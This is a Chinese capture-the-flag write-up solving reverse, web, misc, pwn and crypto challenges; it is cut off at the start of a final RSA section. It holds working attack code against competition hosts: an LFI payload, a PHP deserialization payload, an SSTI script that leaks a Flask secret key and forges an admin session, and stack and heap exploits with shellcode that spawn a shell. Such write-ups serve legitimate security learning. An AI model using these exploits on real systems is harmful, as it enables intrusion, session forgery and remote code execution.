跟进 sub_257A0 ：

sub_25AF0(out, len); // 分配 len 字节输出
counter = 1; // ★ 计数器从 1 开始
for (i = 0; i < len; i += n) {
    sub_26D20(key_ptr, counter++, nonce_ptr, block); // 生成 64 字节 keystream
    n = min(64, len - i);
    for (j = 0; j < n; j++)
        out[i+j] = block[j] ^ data[i+j]; // 明文 XOR keystream
}

这是典型的 64 字节分块、计数器逐块自增的流密码。再看 keystream 生成器 sub_26D20 ：

memcpy(state, "expand 32-byte k", 16); // ← ChaCha 魔数
state[4..11] = key (32 字节, 小端) // 来自 key_ptr = &unk_F345
state[12] = counter
state[13..15] = nonce (12 字节, 小端) // 来自 nonce_ptr = &unk_F365
for (i = 0; i < 10; i++) { // 10 次双轮 = 20 轮
    QR(0,4,8,12); QR(1,5,9,13); QR(2,6,10,14); QR(3,7,11,15); // 列轮
    QR(0,5,10,15); QR(1,6,11,12); QR(2,7,8,13); QR(3,4,9,14); // 对角轮
}
for (j=0;j<16;j++) out[j] = state[j] + init[j];

quarter-round sub_27200 旋转量为 16 / 12 / 8 / 7，字读写 sub_271C0/sub_27310 为小端。由此可知，这就是标准 ChaCha20（RFC 8439），唯一的“非标”改动是块计数器从 1 开始（而不是 0）。

4. 解密脚本

校验逻辑：hex(ChaCha20_XOR(flag)) == target_hex 。由于 XOR 流密码具有自反性（同 key/nonce/counter），所以：

flag = ChaCha20_keystream(counter=1) XOR unhex(target_hex)

Python

import struct

def rotl(x, n): 
    return ((x << n) & 0xffffffff) | (x >> (32 - n))

def qr(s, a, b, c, d):
    s[a] = (s[a] + s[b]) & 0xffffffff; s[d] ^= s[a]; s[d] = rotl(s[d], 16)
    s[c] = (s[c] + s[d]) & 0xffffffff; s[b] ^= s[c]; s[b] = rotl(s[b], 12)
    s[a] = (s[a] + s[b]) & 0xffffffff; s[d] ^= s[a]; s[d] = rotl(s[d], 8)
    s[c] = (s[c] + s[d]) & 0xffffffff; s[b] ^= s[c]; s[b] = rotl(s[b], 7)

def block(key, counter, nonce):
    const = b"expand 32-byte k"
    s  = list(struct.unpack('<4I', const))
    s += list(struct.unpack('<8I', key))
    s += [counter]
    s += list(struct.unpack('<3I', nonce))
    w = list(s)
    for _ in range(10):
        qr(w, 0, 4, 8, 12); qr(w, 1, 5, 9, 13); qr(w, 2, 6, 10, 14); qr(w, 3, 7, 11, 15)
        qr(w, 0, 5, 10, 15); qr(w, 1, 6, 11, 12); qr(w, 2, 7, 8, 13); qr(w, 3, 4, 9, 14)
    out = [(w[i] + s[i]) & 0xffffffff for i in range(16)]
    return struct.pack('<16I', *out)

def chacha20(key, nonce, data, counter=1):
    res = bytearray()
    ctr = counter
    for i in range(0, len(data), 64):
        ks = block(key, ctr, nonce)
        ctr += 1
        res += bytes(c ^ k for c, k in zip(data[i:i+64], ks))
    return bytes(res)

key = bytes([0x14,0x92,0x63,0xa1,0x6f,0x2d,0x89,0xcb,0xf0,0x37,0x5b,0x1c,0xa9,0x4e,0x78,0xd3,
             0x22,0x60,0x17,0xee,0x9a,0xbc,0x4d,0x08,0x53,0xe1,0x76,0x2a,0x8d,0xc4,0x90,0x3f])
nonce = bytes([0x44,0x33,0x22,0x11,0xab,0xcd,0xef,0x66,0x88,0x99,0xaa,0x55])
target_hex = ("d097c3f6d229da23ab72ad35ebe681988a148d2771f1b894c4405595c7587d19"
              "8378a5c2fb9d3bf80e91eb018dc396042a72ef33d01bf01bb2c32b3abb245620"
              "799d36adc57c")

flag = chacha20(key, nonce, bytes.fromhex(target_hex), counter=1)
print(flag.decode())

Flag: flag{b527e2621131134ec22251cfbca75e8c9f5ae4f41371871fd55911927f66a1b4}

(二) CrackMe_2_2.apk

1. 动静态结合分析

拿到题目 APK，扔进 JEB 里面找到主函数进行反编译分析。

发现包含一个 Native 方法：public static native boolean verifyFlag(String arg0) {} 。但在整个 MainActivity 里，该方法从未被调用，onCreate 只调用了 b() 。

所有真正的逻辑都集中在 b() 方法里，它的实际行为是动态加载 DEX 。

结论： 真正的输入框、校验按钮、校验逻辑全部都在 classes3.dex 里的 com.cr.test.wide 类中。

在 JEB 中定位到 classes3.dex，查看真正的校验逻辑，发现最终调用落在了 libcrackme2.so 的 Java_com_cr_crackme2_MainActivity_verifyFlag 层。

2. 分析 verifyFlag (0x240f0)

解压 APK 提取出 SO 库放入 IDA 分析：

input = GetStringUTFChars(jstr);
len   = strlen(input);
ptr   = sub_24440(input, len, &size); // ① PKCS#7 填充
ptr_1 = malloc(size);
des_ecb_encrypt(ptr, size, "12345678", ptr_1); // ② DES-ECB 加密 → ptr_1
bytesToHex(v10, ptr, len_blocks); // ③ 对【ptr】做 hex（注意是明文！）
sub_23DC0(v10);
for (i = 0; i < 1; i++)
    if (sub_24510(&byte_58010[12*i], v10)) // ④ 与目标串比较
        v6 = 1; // 通过
free(ptr); free(ptr_1);
return v6;

逐个分析子函数：

sub_24440：标准 PKCS#7 填充（块大小为 8）。当 len 已是 8 的倍数时，pad = 8，会补满一整块 8 个 0x08 。

des_ecb_encrypt：把 ptr 用 key "12345678" 做 DES-ECB 加密输出到 ptr_1 。

bytesToHex：标准 bytes → hex。虽然反编译显示丢了参数，但实际 hex 的对象是 ptr（填充后的明文），而不是 ptr_1（DES 密文）。

sub_24510：std::string 比较，与 byte_58010 处的目标串进行比对。

3. 关键陷阱：DES 是幌子

ptr_1（DES 密文）算出来后直接被 free，全程没有参与任何比对逻辑。也就是说，"12345678" + DES 是纯干扰项（Red Herring） 。真正的判定逻辑为：

hex( PKCS7_pad(flag) ) == 目标串

4. 提取目标值与解密

byte_58010 静态看为空，在初始化函数 sub_23DF0（由 __cxa_atexit 注册）中可以看到其被赋了真实值： std::string::basic_string(byte_58010, "666c61677b484e43544636325244594e54464d5a3154467d0808080808080808");

直接对目标 Hex 进行解码，并剥离 PKCS#7 填充即可：

Python

h = "666c61677b484e43544636325244594e54464d5a3154467d0808080808080808"
b = bytes.fromhex(h)
print(b)                
pad = b[-1]              
flag = b[:-pad]          
print(flag.decode())

Flag: flag{HNCTF62RDYNTFMZ1TF}

(三) py_obf_10.pyc

1. 逆向分析

拿到题目是一个 .pyc 文件。使用 pycdas 工具将其转换成 Python 字节码汇编语言：

PowerShell

.\pycdas.exe .\py_obf_10.pyc > py_obf_10.dis

转换后部分字符串在反编译工具中可能存在乱码，但对照结构可完美将其还原为 Python 源代码：

Python

import base64

def decrypt_flag(encoded_data, key):
    decoded = base64.b64decode(encoded_data)
    return ''.join(chr(b ^ key) for b in decoded)

def main():
    encoded_flag = 'aWNuaHRra3lgP2ZhaCJ3eTw3In19N2oiPGY9OCJ5dmdjfnxtPzdjY3ly'
    xor_key = 15
    user_input = input('请输入flag: ').strip()
    correct_flag = decrypt_flag(encoded_flag, xor_key)
    if user_input == correct_flag:
        print('正确！')
        return
    print('错误！')

if __name__ == '__main__':
    main()

2. 解密脚本

核心逻辑仅为 Base64 解码后进行固定的异或（XOR 15）操作，直接编写一行脚本解密：

Python

import base64
print(''.join(chr(b ^ 15) for b in base64.b64decode('aWNuaHRra3lgP2ZhaCJ3eTw3In19N2oiPGY9OCJ5dmdjfnxtPzdjY3ly')))

Flag: flag{ddvo0ing-xv38-rr8e-3i27-vyhlqsb08llv}

(四) rerere.exe

1. 样本基本信息

使用 Detect It Easy 查壳，结果为无壳 PE64 文件：

架构： x86-64 PE (image base 0x140000000)

编译器： GCC (GNU) 15.1.0 / MinGW-w64

MD5： 2b493f3ccbf3db74e21fa4f4ba8ec33b

2. IDA 静态分析

在 IDA 中检索字符串 "Input: "（0x140004000），通过交叉引用定位到 sub_1400014FB（即 main 函数）：

sub_1400026F0("Input: ");
fgets(Buffer, 64, stdin);
n = strlen(Buffer);
if (Buffer[n-1] == '\n') { Buffer[n-1] = 0; n--; } // 去掉换行
if (n == 38 && sub_140001480(Buffer, 38))
    puts("Correct!");
else
    puts("Wrong!");

由此可知 Flag 长度固定为 38 位，核心校验在 sub_140001480 中。

跟进 sub_140001480(Buffer, 38) ：

for (v2 = 0; v2 < 38; v2++) {
    if ( byte_140004060[ Buffer[v2] ^ byte_140004048[v2 & 7] ] != byte_140004020[v2] )
        return 0; // Wrong
}
return 1; // Correct

程序中包含三张核心数据表：

byte_140004020 (大小: 38)：目标输出 target[]
byte_140004048 (大小: 8)：循环异或密钥 key[] (下标为 v2 & 7)
byte_140004060 (大小: 256)：替换表 sbox[]（且该 Sbox 是一射单射/双射）

3. 解密脚本

加密逻辑为：sbox[ input[i] ^ key[i & 7] ] == target[i] 。可以通过求出 sbox 的逆置换表 inv_sbox 进行反向推导：

input[i] = inv_sbox[ target[i] ] ^ key[i & 7]

Python

target = [
    0xa3,0x5b,0x4c,0x0a,0x0e,0x98,0x84,0xda,0x14,0xe7,0x0b,0x91,0x53,
    0x49,0x4f,0xb6,0xa9,0xac,0x0b,0x49,0x14,0x97,0x4f,0xd5,0xb1,0x96,
    0x75,0xf6,0x3b,0xa7,0x84,0xc5,0xa9,0xc9,0x06,0x36,0xc6,0x6c,
]
key = [0xb9,0xcd,0xce,0x30,0xb8,0x61,0x4e,0xaa]
sbox = [
    0xc2,0x23,0x97,0x49,0x83,0xf6,0xd3,0xa7,0xeb,0xbf,0x78,0xc3,0x29,0x56,0xd2,0x1a,
    0x13,0xbc,0x21,0x6a,0x37,0x8e,0x5f,0x0c,0xb4,0x46,0xde,0xe4,0x6c,0xa2,0x66,0x30,
    0x0f,0xa4,0xbb,0x8c,0x09,0x4b,0x3d,0x32,0x42,0x55,0x2d,0x4f,0xf9,0x77,0x1b,0x74,
    0x1f,0x71,0x7b,0x9d,0x73,0xc4,0xab,0xd0,0xf3,0xc1,0x88,0x07,0xdc,0xce,0xef,0xc0,
    0x72,0x4a,0x27,0x81,0x9b,0xee,0xc7,0x28,0x26,0x5a,0x94,0x54,0x70,0xd1,0xe9,0xc8,
    0x98,0x36,0x91,0x41,0xb8,0x3a,0x79,0x0a,0x08,0xe5,0xaf,0x80,0x24,0xae,0x00,0x19,
    0xcc,0x7a,0xf7,0x51,0x7d,0x69,0xec,0x03,0x65,0x25,0x1c,0x01,0xf5,0xe6,0xbd,0xd9,
    0x59,0xfe,0x92,0xb0,0x10,0x6f,0xf0,0xe3,0x9f,0xad,0x84,0xf4,0xa5,0x33,0x35,0x48,
    0x53,0xb1,0xe0,0xd8,0x05,0x38,0x18,0x68,0xa9,0x14,0xc6,0x3f,0x61,0x8a,0x31,0x3b,
    0xba,0x2b,0x4e,0xe2,0x57,0x9a,0xf1,0xea,0x64,0x7e,0xa0,0x93,0xb6,0xda,0x60,0x2e,
    0x1d,0x5b,0x82,0x34,0x6d,0xfc,0xcf,0x7f,0xe7,0x96,0x67,0x43,0x06,0x44,0xc9,0x4c,
    0x40,0xdb,0xfd,0x4d,0xb5,0xed,0x39,0x2c,0xb3,0x17,0x9e,0xcd,0xfa,0x6b,0xca,0x87,
    0x8f,0x9c,0x89,0x0e,0x63,0x45,0x86,0xaa,0x5e,0x95,0x16,0xc5,0xd5,0x2f,0xa1,0xf8,
    0x99,0xff,0x3c,0x0d,0x3e,0xd4,0x04,0x76,0xd7,0x47,0x20,0x8d,0xdf,0x5c,0x7c,0xa3,
    0x1e,0x8b,0x15,0xb9,0xa8,0xcb,0x22,0xa6,0x52,0xd6,0xfb,0x5d,0xdd,0xb2,0x6e,0xe8,
    0xf2,0xe1,0x2a,0x58,0x62,0x12,0x11,0x50,0x75,0xb7,0xac,0x90,0x0b,0x85,0x02,0xbe,
]

inv = [0] * 256
for i, v in enumerate(sbox):
    inv[v] = i

flag = ''.join(chr(inv[target[i]] ^ key[i & 7]) for i in range(38))
print(flag)

Flag: flag{1470e2b8be617231cef8d657f4a1cba2}

Web

(一) OA System Portal

解题思路

这是一个典型的 PHP 文件包含漏洞（LFI） 题目。其核心代码可以通过 php://filter 伪协议读出：

PHP

$module = isset($_GET['module']) ? $_GET['module'] : 'public_notices.php';
$module = str_replace('../', '', $module);
include($module);

程序仅仅对 ../ 进行了过滤（可以通过双写绕过或直接不用），但没有禁止绝对路径和 PHP Stream Wrapper 。因此，我们可以尝试直接包含系统内的敏感文件。

先利用伪协议请求读取 index.php 确认其包含逻辑：

?module=php://filter/convert.base64-encode/resource=index.php
随后直接包含根目录下的常见 flag 路径 /flag.txt，成功命中。

最终利用 Payload

Plaintext

http://47.99.147.34:22508/?module=/flag.txt

Flag: flag{486494bb06932e628c595d285df9eae9}

(二) WEB-PHP_Payment

解题思路

在分析该系统的优惠券接口时，发现传入的用户可控数据被直接进行了反序列化处理：

PHP

$decoded = base64_decode($couponData);
$promo = @unserialize($decoded);

查看源码中的 src/models.php，发现类 PromoManager 包含一个析构函数，会在请求结束时将 promo_credit 的数值累加到当前 Session 的 balance 余额中：

PHP

function __destruct() {
    if(isset($this->promo_credit) && is_numeric($this->promo_credit)) {
        $_SESSION['balance'] += intval($this->promo_credit);
    }
}

而在 src/buy.php 中购买 flag 需要 99999 金币，初始余额只有 20 。因此我们可以构造恶意反序列化对象，将 promo_credit 改为极大值以实现 Session 刷钱。由于余额与 PHPSESSID 绑定，所以领券和买 flag 必须保持相同的 Session 。

漏洞利用步骤

构造 PHP 序列化字符串：

O:12:"PromoManager":2:{s:12:"promo_credit";i:100000;s:10:"promo_code";s:1:"x";}

将其编码为 Base64 ：

TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MToieCI7fQ==

携带获取到的 PHPSESSID 访问券接口刷钱：

HTTP

POST /api/apply_coupon.php HTTP/1.1
Host: 47.99.147.34:28542
Cookie: PHPSESSID=你的session
Content-Type: application/x-www-form-urlencoded

coupon=TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MToieCI7fQ==

请求结束后自动触发 __destruct() 刷钱成功，使用相同 Session 调用购买接口即可拿 flag ：

HTTP

POST /buy.php HTTP/1.1
Host: 47.99.147.34:28542
Cookie: PHPSESSID=同一个session
Content-Type: application/x-www-form-urlencoded

item=flag

Flag: flag{4eab66d7fffeba5ede642960f36c0100}

(三) WEB-Snake_Game

解题思路

进入贪吃蛇小游戏页面，开启 Burp Suite 进行抓包拦截。
玩一局或直接观察到游戏结束时提交分数的 POST 请求。
发现服务端的校验点完全依赖于客户端提交的 score 参数，若 score >= 300 就会在响应中回显 Flag 。
直接在 Burp Suite Repeater/Proxy 中将 score 的表单值修改为一个大于 300 的数值（例如 777777），然后重放数据包，服务端成功返回 Flag 。

Flag: flag{d64789df977417240841c25834f4d77f}

(四) WEB-TaxSystem_SSTI

解题思路

凭证泄漏： 审计源码发现 init_db.py 中写死了管理员账号密码 admin / 123456 。

SSTI 漏洞点： app.py 的 /api/import 允许修改档案信息，当档案的 state == 'AUDIT_PENDING' 时，其绑定的 custom_footer 字段会被无过滤直接拼接进模板并传入 render_template_string() 渲染，从而造成 SSTI（服务端模板注入） 。

绕过与密钥窃取： 题目黑名单虽然过滤了许多常见特殊字符和关键字（如 __、[]、引号等），但并没有过滤 {{config}} 。通过打印 Flask 的 config 即可泄露远端的真实 SECRET_KEY 为 secret_tax_key_2026_xoxo 。

Session 伪造： 获取到 SECRET_KEY 后，可以在本地使用 Flask 库伪造具有高权限的 Session Cookie（{"user_id": 1, "role": "tax_inspector"}），从而绕过后台认证访问后台金库路径 /admin/vault 获取 Flag 。

自动化利用脚本

Python

import re
import html
import requests
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

BASE = "http://120.27.146.76:12426"
s = requests.Session()

# 1. 登录
s.post(BASE + "/login", data={"username": "admin", "password": "123456"}, timeout=8)
# 2. 创建 profile
s.post(BASE + "/api/create_profile", timeout=8)
# 3. 提取 profile_id
dash = s.get(BASE + "/dashboard", timeout=8).text
pid = max(map(int, re.findall(r"/preview/(\d+)", dash)))
# 4. 写入 SSTI payload
s.post(BASE + "/api/import", json={
    "profile_id": pid,
    "data": {
        "state": "AUDIT_PENDING",
        "custom_footer": "{{config}}"
    }
}, timeout=8)
# 5. 读取泄露的真实 SECRET_KEY
preview = html.unescape(s.get(f"{BASE}/preview/{pid}", timeout=8).text)
secret = re.search(r"'SECRET_KEY': '([^']+)'", preview).group(1)
print("[+] SECRET_KEY =", secret)
# 6. 伪造高权限 Session
app = Flask(__name__)
app.secret_key = secret
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
cookie = serializer.dumps({"user_id": 1, "role": "tax_inspector"})
print("[+] forged session =", cookie)
# 7. 访问金库获取 flag
r = requests.get(BASE + "/admin/vault", cookies={"session": cookie}, timeout=8)
flag = re.search(r"flag\{[^}]+\}", r.text).group()
print("[+] flag =", flag)

Flag: flag{8fe0832554e14a96448f6aa57257ffc6}

Misc

(一) 签到题-损坏的压缩包

解题思路

解压题目给出的压缩包，得到一个 .txt 文本文件。
打开文本文件，其内容为一段类似于 Base64 形式的密文：Zmt2bA== 。
将密文放入 CyberChef（赛博厨子）中，使用 From Base64 还原工具进行解码，直接输出明文。

Flag: flag{fkvl}

(二) 幻影

解题思路

解压题目拿到 data.bin 文件。使用 010 Editor 打开该二进制文件，其文件头显示为 RAR 压缩包头，但往后看并没有实际的压缩体，而是直接写在包体内的明文提示文本： REMEMBER: FLAG IS HIDDEN IN BASE64 PLUS XOR!

文本下方附带了真正的 Flag 经过加密后的字符串： p62gprr28vjy8/P09OynoPWj7PXz9fPso6L29uzw8/ny8/Wl9veloPe8

由于没有提供 1 字节的异或密钥（Key），可在将 Base64 解码为原始字节后，编写 Python 脚本对范围在 0-255 内的单字节 Key 进行爆破，以匹配以 b"flag{" 开头的明文结果：

Python

import base64

enc = "p62gprr28vjy8/P09OynoPWj7PXz9fPso6L29uzw8/ny8/Wl9veloPe8"
raw = base64.b64decode(enc)

for key in range(256):
    dec = bytes(b ^ key for b in raw)
    if dec.startswith(b"flag{"):
        print("key =", hex(key), key)
        print(dec.decode())
        break

成功爆破出异或密钥为 0xc1（十进制 193）并还原明文。

Flag: flag{73932255-fa4b-4242-bc77-128324d76da6}

(三) 迷宫

解题思路

题目是一个多层嵌套的压缩包，使用 Bandizip 顺着目录不断向下解压。
剥离到第四层后顺利获取到一个名为 vault.bin 的文件。
使用 010 Editor 打开 vault.bin，可以清晰地看到里面存储的是一串纯文本的 Base64 编码字符串：ZTYyM2A5M2UxYmNlNWNhY2IwY2U3N2Y2OGQzZDdlN2Q= 。
将该字符串放到 CyberChef 中作 Base64 解码，直接得出 Flag 核心哈希串。

Flag: flag{e622093e1bbe5aacb0ce77f68d3d7e7d}

(四) 像素中的秘密

解题思路

解压后拿到一张全白的 image_10.png 图片。使用 010 Editor 检查发现其 IEND 块之后存在额外的附加数据，表明有明显的图片尾部隐写。

附加数据包含三块信息，其中图片尾端的数据包含 00000000 以及 69CB3446。结合题名暗示，这与 LCG（线性同余生成器）算法隐写有关，因此可以将 0x69CB3446 作为 LCG 算法的初始种子（Seed）尝试恢复。

编写 LCG 异或解密脚本：

Python

def lcg_xor_decrypt_embedded() -> bytes:
    x = 0x69CB3446
    # 提取出的尾部密文字节
    cipher = b''.join([
        b'\xDC\x5E\xD1\x8A\x38\x28\xBB\xDF\x6C\x7B\x57\x84\x4F\x0E\x9B\x51',
        b'\x3A\xDF\xC4\xD9\x63\x0E\xA9\x39\x89\x26\x08\xC8\xB8\xF3\xD2\xBF',
        b'\x43\x08\xC7\x7A\x91\xBC\xEB\x4E\x55\xB0\x4F\x62\x59\xE4\xF3\xB6',
        b'\x9D\x58\xD7\x4A\x21\x0C\xFB\x1E'
    ])
    result = bytearray()
    for b in cipher:
        x = (1664525 * x + 1013904223) & 0xffffffff
        key = x & 0xff
        result.append(b ^ key)
    return bytes(result)

print(lcg_xor_decrypt_embedded())

解密后得到具有可读意义的 Base62 密文 字符串：

16vPI4pqYkxFvJHGGgssbbrGLF7Zqg1YN

将其放入 CyberChef 中，通过 From Base62 进行解码，获取最终 Flag 。

Flag: flag{final_flag_png_lcg}

Pwn

(一) PWN-Authenticate

1. 保护检查与漏洞分析

使用 checksec 检查 vuln 二进制文件，发现未开启 Canary 与 PIE（No PIE），且栈可执行，非常适合通过经典的栈溢出覆盖返回地址进行 ret2text 漏洞攻击。

反编译代码中，在 login() 函数内部可以看到如下输入逻辑：

void login() {
    char password[0x80];
    char username[0x40];
    read(0, username, 0x40);
    gets(password); // 漏洞点：gets未限制输入长度，直接导致栈溢出
}

password 位于 rbp-0x80 处。

2. 偏移计算与后门利用

偏移量： 输入缓冲区起点到保存的返回地址的距离为：0x80 (缓冲区大小) + 8 (saved RBP) = 136 字节 。

后门函数： 程序中在固定地址自带了一个 backdoor() 函数（地址为 0x4011f6），其内部会执行 system('/bin/sh') 。

栈对齐： 在 Ubuntu 新版本高版本环境中，为了确保 system 函数内部执行时栈指针对齐（16字节对齐），我们需要在执行 backdoor 地址之前垫上一个单纯的 ret 指令（地址 0x40101a）。

3. 核心利用脚本

Python

from pwn import *

HOST = '47.99.147.34'
PORT = 27711

ret = 0x40101a
backdoor = 0x4011f6
offset = 136

payload = b'A' * offset + p64(ret) + p64(backdoor)

io = remote(HOST, PORT)
io.sendlineafter(b'Username: ', b'test')
io.sendlineafter(b'Password: ', payload)
io.sendline(b'cat flag')
io.interactive()

Flag: flag{bda7ca24b316a799200260fa3ca545eb}

(二) PWN-MessageBoard

1. 保护检查与漏洞分析

通过 checksec 分析程序保护情况，发现程序没有 Canary、No PIE，更关键的是其 NX 为 unknown / 栈可执行（Executable） 。

反编译漏洞函数 vuln() 发现其执行了栈地址泄露：

// 伪代码逻辑
printf("Buffer at: %p\n", buf); // 泄露了栈缓冲区地址
read(0, buf, 0x100);             // 漏洞点：buf只有0x80字节大小，但允许读入0x100字节，造成栈溢出

由于栈地址已知且栈区域可执行，我们可以直接采用 Shellcode 注入攻击（ret2stack） 。

2. 利用构造

溢出偏移： buf 位于 rbp-0x80，覆盖保存的返回地址（RIP）的偏移量同样为 0x80 + 8 = 136 字节 。

Payload 布局： 在 buf 开头布置一定量的 \x90 作为 NOP 滑行区（NOP Sled），紧随其后放置一段精简的 execve('/bin//sh') Shellcode 。随后使用任意无意义字符（如 A）将其填充垫齐至 136 字节，最后把返回地址覆写为最开始泄露出的栈缓冲区 buf_addr 。

3. 完整利用脚本

Python

import re
import socket
import struct
import time

HOST = "120.27.146.76"
PORT = 10406
BUF_SIZE = 0x80

# x86_64 架构下 execve('/bin//sh') 的精简 shellcode
SHELLCODE = bytes.fromhex("4831f65648bf2f62696e2f2f736857545f6a3b58990f05")

def recv_until(sock, marker):
    data = b""
    while marker not in data:
        chunk = sock.recv(4096)
        if not chunk: break
        data += chunk
    return data

with socket.create_connection((HOST, PORT)) as sock:
    banner = recv_until(sock, b"Message: ")
    # 正则提取泄露的栈地址
    match = re.search(rb"Buffer at: (0x[0-9a-fA-F]+)", banner)
    buf_addr = int(match.group(1), 16)
    print(f"[+] leaked buf = {buf_addr:#x}")
    
    # 构造攻击 payload
    payload = b"\x90" * 32 + SHELLCODE
    payload = payload.ljust(BUF_SIZE, b"A")
    payload += struct.pack("<Q", 0xdeadbeefdeadbeef) # fake RBP
    payload += struct.pack("<Q", buf_addr)           # 覆写 RIP 回跳到栈上执行
    
    sock.sendall(payload)
    time.sleep(0.2)
    sock.sendall(b"cat /flag\n")
    
    # 打印回显
    print(sock.recv(4096).decode('latin1', 'ignore'))

Flag: flag{967b9a20b417271ac0d8fc77a772cf48}

(三) PWN-NoteService

解题思路

本题属于标准的 ret2text（跳转后门） 栈溢出题。

保护情况： 程序虽然开启了 NX（栈不可执行），但是没有开启 Canary 与 PIE 保护 。

漏洞分析： 在 vuln() 函数中，定义的局部变量栈缓冲区 buf 只有 0x40 字节大小，但是随后的 read(0, buf, 0x100) 明显存在严重的输入跨界，引发栈溢出。

漏洞利用： * 缓冲区到返回地址的计算偏移为：0x40 (buf 到 RBP 的距离) + 8 (Saved RBP) = 72 字节 。

静态逆向发现程序本身提供了一个名为 secret_note() 的隐蔽后门函数（地址固定为 0x401196），该函数内部会调用 system('/bin/sh') 。
为了解决 64 位下 system 执行时的栈指针 16 字节对齐崩溃问题，在 payload 覆盖链路中加入一个 ret 拦截平齐指令（地址为 0x40101a）。

最终利用脚本

Python

from socket import create_connection
from struct import pack
import time

host, port = "47.99.147.34", 21314
ret = 0x40101a
secret_note = 0x401196

# 填充 72 字节后，依次写入 ret 对齐组件与后门跳转目标
payload = b"A" * 72 + pack("<Q", ret) + pack("<Q", secret_note)

s = create_connection((host, port))
s.recv(4096)
s.sendall(payload)
time.sleep(0.2)
s.sendall(b"cat /flag\n")
time.sleep(0.2)
print(s.recv(4096).decode("latin1", "ignore"))
s.close()

Flag: flag{d9fcee27c6a249b046bfd61de6825aab}

(四) PWN-UserManager

解题思路

本题针对 glibc 2.23 堆管理，是一个非常经典的 UAF（Use-After-Free）与 Fastbin 堆块复用 的高级考题。

保护机制： 程序全开（RELRO 全开、Canary、NX、PIE 开启），传统的栈破坏或覆写 GOT 表的方法失效，必须要通过精确的堆内存布局进行攻击。

逆向分析结构： 用户系统拥有 Register、Login、Edit、Delete 4个功能。核心的用户存储结构体大小为 0x18 字节，布局如下：

struct user {
    char *name;          // +0x00，指向分配出来的密码/字符串缓冲区
    void (*func)(char*); // +0x08，函数指针，注册时默认为 show 函数
    long size;           // +0x10，密码缓冲区的最大合法长度
};

漏洞位置： 在 Delete 释放堆块时，程序仅仅调用了 free(users[id]->name) 和 free(users[id])，但是没有将对应的 users[id] 指针置为 NULL，导致了悬空指针（Dangling Pointer）和典型的 UAF 漏洞。

利用链设计：
Libc 盲读泄露（难点）： 远端环境没有输出，由于 Login 校验通过后才会打印，利用 strcmp 遇到 \x00 截断的行为，通过逐位 Edit 修改指针低字节并配合 Login 的成功与否作为 Oracle 判定机制，对处于 Unsorted bin 中释放残留的 main_arena+88 进行高位向低位的逐字节爆破，实现 Libc 基址的盲读泄露。
劫持控制流： 通过 Fastbin 堆分配机制的完美复用，使得后申请的新用户的 name 字符串缓冲区恰好覆盖到前一个被释放但指针依然悬空有效的 user 结构体 头部。从而我们可以借助 Edit 修改悬空结构体内的 func 指针，将其劫持改写为 libc 内的 system 绝对地址，同时将 name 指针指向字符串 /bin/sh 。当再次调用 Login 成功触发 users[id]->func(...) 时，等同于执行 system('/bin/sh') 。

核心利用 Exp 代码

Python

#!/usr/bin/env python3
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')

HOST, PORT = '47.99.147.34', 19588
libc = ELF('./libc-2.23.so', checksec=False)

io = remote(HOST, PORT)

def choice(n): io.sendlineafter(b'Your choice:', str(n).encode())
def register(idx, size, data):
    choice(2); io.sendlineafter(b'id:', str(idx).encode()); io.sendlineafter(b'length:', str(size).encode()); io.sendafter(b'password:', data)
def login(idx, size, data):
    choice(1); io.sendlineafter(b'id:', str(idx).encode()); io.sendlineafter(b'length:', str(size).encode()); io.sendafter(b'password:', data)
def delete(idx): choice(3); io.sendlineafter(b'id:', str(idx).encode())
def edit(idx, data): choice(4); io.sendlineafter(b'id:', str(idx).encode()); io.sendafter(b'new pass:', data)

# 1. 构造堆块释放链
register(0, 0x80, b'a')       
register(1, 0x20, b'b')       
delete(0)
delete(1)

# 2. 堆块复用，使我们可以通过写 user[2] 的密码来直接篡改 user[1] 结构体
register(2, 0x18, p8(0x20))
register(3, 0x80, b'aaaa')

# 3. 逐字节爆破盲读泄露 main_arena 残留指针
leak_data = b''
start_offset = 0x1d
for idx in range(1, 7):
    edit(2, p8(start_offset))
    for byte_val in range(0x100):
        guess = p8(byte_val) + leak_data
        login(1, idx, guess)
        if b'success' in io.recvuntil(b'\n'):
            leak_data = p8(byte_val) + leak_data
            break
    start_offset -= 1

libc_leak = u64(leak_data.ljust(8, b'\x00'))
libc_base = libc_leak - 0x3c4b78 # 2.23环境下偏置
system_addr = libc_base + libc.symbols['system']

# 4. 精确劫持改写悬空结构体内的函数指针
edit(2, p8(0xa8)) # 让其指向users[0]->func
edit(1, p64(system_addr))

# 5. 垫入参数，触发拿 shell
edit(0, b'/bin/sh\x00')
login(0, len(b'/bin/sh\x00'), b'/bin/sh\x00')
io.interactive()

Flag 状态： 本地验证成功打通，靶机关闭前已成功捕获远程 Flag 。

Crypto

(一) BabyRSA7

解题思路

题目给出的 RSA 公钥指数参数 $e = 3$ 极其小，典型的小公钥指数攻击（Low Exponent Attack）。当 $e=3$ 时，若明文的 $e$ 次方大过模数 $n$，可以通过引入一个未知的整倍数 $k$，使得明文满足关系：

$m^3 = k \cdot n + c$

由于 $e$ 只有 3，我们只需要从 $k = 0$ 开始在整数域内向上递增穷举，每次计算 $(k \cdot n + c)$ 的开立方根（使用 gmpy2 的 iroot 函数），当检测到其开立方后的第二个返回值返回 True（说明正好是一个完美的整数立体完全立方数）时，该开方值即为我们所求的原始消息明文值 $m$ 。

求解脚本

Python

from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes

n = 112236684276598445953470958979974248139305658317743482421936811887828282366740495598766025283574975379354653410041294383732249721913289160553784366226963636561141148428299310897822558962407745549801741467690656825961511511191360890527802201275378106451269606406534901848399667333669874060639983305991244441419
e = 3
c = 2217344750798591625447833487696320861775115646060744565481810923840358354823011100363343264521780315972663215185875986580406759972170037422918646653524839131172834345312234369524761802337273644307475982202699180835279895013740317857205387940896435849998551522519951199597669

k = 0
while True:
    res = iroot(k * n + c, e)
    if res[1]: # 如果完美开方
        print("[+] Found Flag:")
        print(long_to_bytes(res[0]).decode())
        break
    k += 1

Flag: flag{769cc0209669698952823747f21eb10e}

(二) ScatterRSA5

解题思路

已知存在多组加密参数和其线性关系比对：

